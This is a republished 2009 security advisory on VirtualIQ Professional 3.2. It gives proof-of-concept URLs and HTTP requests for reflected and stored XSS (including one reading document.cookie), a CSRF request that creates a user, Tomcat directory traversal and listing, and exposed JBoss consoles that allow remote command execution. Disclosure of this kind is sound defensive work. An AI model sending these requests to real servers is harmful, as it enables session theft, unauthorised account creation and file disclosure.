|
|
|
|
| |
Credit:
The information has been provided by Alberto Trivero and Claudio Criscione.
The original article can be found at: http://www.securenetwork.it/advisories/sn-2009-02.txt
|
| |
Vulnerable Systems:
* ToutVirtual VirtualIQ Professional version 3.2 and prior
Immune Systems:
* ToutVirtual VirtualIQ Professional version 3.5
VULNERABILITY DETAILS ***
(a) Cross-site scripting (XSS)
Due to an improper sanitization of user's input, multiple XSS attacks (reflective and stored) are possible.
Reflective PoCs:
http://server:9080/tvserver/server/user/setPermissions.jsp?userId=1"><script>alert(1)</script>&resultResourceIds=111-222-1933email@address.tst
http://server:9080/tvserver/server/user/addDepartment.jsp?addNewDept=0&deptName=%22;alert(1);//&deptId=1&deptDesc=asd
http://server:9080/tvserver/server/inventory/inventoryTabs.jsp?ID=1;alert(1);//
http://server:9080/tvserver/reports/virtualIQAdminReports.do?command=getFilter&reportName=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
Stored XSS attacks can be triggered in the "Middle Name" parameter in the "Edit Profile" page with an HTTP request like the following:
POST /tvserver/user/user.do?command=save&userId=1 HTTP/1.1
Host: server:9080
Cookies: JSESSIONID=[...]
userName=IQMANAGER&firstName=IQ&middleName=asd';
alert(document.cookie);//&lastName=MANAGER&email=user%40domain.it&password=********&retypePassword=********&redirect=null&passwordModifed=false&isReportUser=false&roleId=1&supervisorId=1&departmentId=1&locationId=1
(b) Cross-site request forgery (CSRF)
An attacker can perform different types of CSRF attacks against a logged user.
He can, for example, shutdown, start or restart an arbitrary virtual machine, schedule new activities and so on.
The following HTTP request, if forged by the attacker and executed by the victim while logged on VirtualIQ, creates an arbitrary user:
POST /tvserver/user/user.do?command=save&userId= HTTP/1.1
Host: server:9080
Cookie: JSESSIONID=[...]
userName=asd1&firstName=asd2&middleName=asd3&lastName=asd4&email=asd5%40asd.com&password=asd6&retypePassword=asd6&redirect=null&passwordModifed=false&isReportUser=false&roleId=1&supervisorId=1&departmentId=1&locationId=1
(c) Web server vulnerabilities
VirtualIQ runs on top of an old version of Apache Tomcat: 5.5.9, for which multiple public vulnerabilities have been released. As a PoC, a directory traversal attack (CVE-2008-2938) can be performed as:
http://server:9080/tvserver/server/%C0%AE%C0%AE/WEB-INF/web.xml
Listing of an arbitrary directory (CVE-2006-3835) can also be obtained with the following PoC:
http://192.168.229.85:9080/tvserver/server/;index.jsp
(d) Information Leakage
Tomcat status page should be disabled or restricted, being accessible at:
http://status:9080/status
Username and password to access a VM through SSH are also available in clear text in the configuration page.
Since an XSS vulnerability can also be triggered in the same page, an attacker would also be able to easily capture the full credentials to access the VM with a specially crafted XSS payload.
(e) Remote code execution
JBoss JMX Management Console is exposed and can be used by remote attackers to execute arbitrary commands on the system:
http://server:9080/jmx-console/
JBoss Web Console is exposed as well and can be used by remote attackers to execute any command on the system:
http://server:9080/web-console/
Disclosure Timeline:
Vendor disclosure: 02/07/2009
Vendor acknowledged: 16/07/2009
Vendor patch release: notified us on 06/11/2009
Public disclosure: 07/11/2009
--------------------------------------------------------------------------------------------------------------------------------
Vulnerabilities like this exist in many sites. Find out how to eliminate XSS.
*
|
|
|
|
|
